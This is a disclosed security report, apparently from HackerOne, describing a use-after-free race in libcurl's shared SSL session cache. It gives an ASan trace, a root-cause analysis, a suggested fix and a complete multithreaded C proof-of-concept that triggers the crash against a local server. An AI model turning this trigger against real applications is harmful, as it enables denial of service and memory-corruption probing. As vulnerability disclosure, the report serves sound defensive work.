HexBrain

curl · Report #3831345

CURLSHOPT_UNSHARE race can cause UAF in shared SSL session cache during HTTPS transfer

Informativestatus
3upvotes
30 Jun 2026disclosed

How it was found

Summary

CURLSHOPT_UNSHARE can free a shared SSL session cache while another thread is starting a normal HTTPS transfer with the same share handle. The failing transfer reaches the cache through curl_easy_perform(), during the OpenSSL handshake. libcurl appears to try to reject this kind of lifetime change with share_in_use(), but that check is not atomic with the later cache destruction, so the guard can be bypassed by a concurrent CURLOPT_SHARE link.

Affected version

Reproduced on curl 8.21.0 on Linux x86_64 with the OpenSSL backend and an ASan/UBSan build.

I also checked current master after 8.21.0 and the same code pattern is still present there.

Steps to reproduce

Build libcurl with ASan, OpenSSL and no optimization. Start a local HTTPS server on 127.0.0.1:9443; for example, an openssl s_server -www -tls1_2 instance with a self-signed certificate is enough.

Compile and run the C program at the end of this report against that libcurl build. In my run it failed in under a minute.

The reproducer has one thread repeatedly doing:

curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION)
curl_share_setopt(share, CURLSHOPT_UNSHARE, CURL_LOCK_DATA_SSL_SESSION)

and one thread repeatedly doing:

curl_easy_setopt(easy, CURLOPT_SHARE, share)
curl_easy_perform(easy)

The lock and unlock callbacks are installed. The CPU burner threads do not call libcurl; they only make normal scheduler preemption more likely.

ASan result

ERROR: AddressSanitizer: heap-use-after-free
READ of size 4
    #0 cf_ssl_scache_get lib/vtls/vtls_scache.c:379
    #1 Curl_ssl_scache_use lib/vtls/vtls_scache.c:647
    #2 Curl_ossl_add_session lib/vtls/openssl.c:2659
    #3 ossl_new_session_cb lib/vtls/openssl.c:2721
    #4 ssl_update_cache libssl.so.3
    #5 tls_finish_handshake libssl.so.3
    #6 ossl_connect_step2 lib/vtls/openssl.c:4138
    #7 ossl_connect lib/vtls/openssl.c:5000
    #8 ssl_cf_connect lib/vtls/vtls.c:1007
    #9 Curl_conn_cf_connect lib/cfilters.c:424
    #10 curl_easy_perform lib/easy.c:820
    #11 perform_once poc_https_scache_unshare_race.c
    #12 perform_loop poc_https_scache_unshare_race.c

freed by thread T1 here:
    #0 free
    #1 Curl_ssl_scache_destroy lib/vtls/vtls_scache.c:641
    #2 curl_share_setopt lib/curl_share.c:312
    #3 unshare_loop poc_https_scache_unshare_race.c

previously allocated by thread T1 here:
    #0 calloc
    #1 Curl_ssl_scache_create lib/vtls/vtls_scache.c:611
    #2 curl_share_setopt lib/curl_share.c:253
    #3 unshare_loop poc_https_scache_unshare_race.c

What I think is wrong

curl_share_setopt() checks whether the share object is in use before it destroys share->ssl_scache. That check is released before the destroy happens.

A second thread can therefore attach a new easy handle to the same share object after the check has passed. The easy handle then enters a normal HTTPS handshake and uses the SSL session cache that the first thread is destroying.

Relevant places:

lib/curl_share.c:160        share_in_use()
lib/curl_share.c:204        in-use check
lib/curl_share.c:312        Curl_ssl_scache_destroy()
lib/curl_share.c:433        Curl_share_easy_link()
lib/vtls/vtls_scache.c:379  cf_ssl_scache_get()
lib/vtls/openssl.c:2659     Curl_ossl_add_session()

Documentation note

The share API documents CURL_LOCK_DATA_SSL_SESSION as shareable: "SSL sessions are shared across the easy handles using this shared object." The threaded-use requirement is to install lock and unlock callbacks, which the reproducer does.

There is also an existing test named concurrent HTTPS GET using shared SSL session cache in tests/data/test3207 / tests/libtest/lib3207.c.

Why I consider this a security bug

The first-principles issue is object lifetime. One public API call frees an object while another public API path can still obtain and use the same object. Once that happens, later behavior depends on allocator reuse and timing, not on libcurl's intended ownership rules. In my run, the stale object was read during the TLS handshake; with a different heap layout the same stale pointer can point at unrelated application data.

Possible fix

Make the UNSHARE lifetime change atomic with respect to easy-handle linking and SSL session cache users. For example, keep the share object protected across the in-use check and cache destruction, or defer the free until current users have dropped the cache.

Reproducer source

#include <curl/curl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <unistd.h>

#define HOSTS 25
#define BURNERS 64
#define RUN_SECONDS 300

static CURLSH *share;
static struct curl_slist *resolve_hosts;
static pthread_mutex_t locks[CURL_LOCK_DATA_LAST];
static volatile int stop_threads;
static volatile unsigned long spin_sink;

static void lock_cb(CURL *easy, curl_lock_data data,
                    curl_lock_access access, void *clientp)
{
  (void)easy;
  (void)access;
  (void)clientp;
  if(data > CURL_LOCK_DATA_NONE && data < CURL_LOCK_DATA_LAST)
    pthread_mutex_lock(&locks[data]);
}

static void unlock_cb(CURL *easy, curl_lock_data data, void *clientp)
{
  (void)easy;
  (void)clientp;
  if(data > CURL_LOCK_DATA_NONE && data < CURL_LOCK_DATA_LAST)
    pthread_mutex_unlock(&locks[data]);
}

static size_t discard_cb(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  (void)ptr;
  (void)userdata;
  return size * nmemb;
}

static void perform_once(long n)
{
  CURL *easy = curl_easy_init();
  char url[128];

  if(!easy)
    return;

  snprintf(url, sizeof(url), "https://h%ld.test:9443/", n % HOSTS);
  curl_easy_setopt(easy, CURLOPT_URL, url);
  curl_easy_setopt(easy, CURLOPT_SHARE, share);
  curl_easy_setopt(easy, CURLOPT_RESOLVE, resolve_hosts);
  curl_easy_setopt(easy, CURLOPT_NOPROXY, "*");
  curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
  curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
  curl_easy_setopt(easy, CURLOPT_NOSIGNAL, 1L);
  curl_easy_setopt(easy, CURLOPT_TIMEOUT_MS, 2000L);
  curl_easy_setopt(easy, CURLOPT_CONNECTTIMEOUT_MS, 500L);
  curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, discard_cb);
  (void)curl_easy_perform(easy);
  curl_easy_cleanup(easy);
}

static void *unshare_loop(void *arg)
{
  (void)arg;
  while(!stop_threads) {
    (void)curl_share_setopt(share, CURLSHOPT_SHARE,
                            CURL_LOCK_DATA_SSL_SESSION);
    (void)curl_share_setopt(share, CURLSHOPT_UNSHARE,
                            CURL_LOCK_DATA_SSL_SESSION);
  }
  return NULL;
}

static void *perform_loop(void *arg)
{
  long n = (long)(size_t)arg;
  while(!stop_threads) {
    perform_once(n++);
    usleep(100);
  }
  return NULL;
}

static void *burn_loop(void *arg)
{
  unsigned long x = (unsigned long)(size_t)arg + 1;
  while(!stop_threads) {
    x = x * 1103515245UL + 12345UL;
    if((x & 0xfffffUL) == 0)
      sched_yield();
  }
  spin_sink += x;
  return NULL;
}

int main(void)
{
  pthread_t unshare_thread;
  pthread_t perform_thread;
  pthread_t burners[BURNERS];
  int i;

  curl_global_init(CURL_GLOBAL_ALL);
  for(i = 0; i < CURL_LOCK_DATA_LAST; i++)
    pthread_mutex_init(&locks[i], NULL);

  share = curl_share_init();
  curl_share_setopt(share, CURLSHOPT_LOCKFUNC, lock_cb);
  curl_share_setopt(share, CURLSHOPT_UNLOCKFUNC, unlock_cb);
  curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);

  for(i = 0; i < HOSTS; i++) {
    char resolve[128];
    snprintf(resolve, sizeof(resolve), "h%d.test:9443:127.0.0.1", i);
    resolve_hosts = curl_slist_append(resolve_hosts, resolve);
  }

  for(i = 0; i < HOSTS * 2; i++)
    perform_once(i);

  pthread_create(&unshare_thread, NULL, unshare_loop, NULL);
  pthread_create(&perform_thread, NULL, perform_loop, NULL);
  for(i = 0; i < BURNERS; i++)
    pthread_create(&burners[i], NULL, burn_loop, (void *)(size_t)i);

  sleep(RUN_SECONDS);
  stop_threads = 1;

  pthread_join(unshare_thread, NULL);
  pthread_join(perform_thread, NULL);
  for(i = 0; i < BURNERS; i++)
    pthread_join(burners[i], NULL);

  curl_slist_free_all(resolve_hosts);
  curl_share_cleanup(share);
  curl_global_cleanup();
  return 0;
}

Impact

Summary:

A public libcurl API path can free the shared SSL session cache while another thread is entering a normal HTTPS transfer through the same share handle. This causes heap-use-after-free during the TLS handshake. In my reproduction this results in a crash under ASan.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original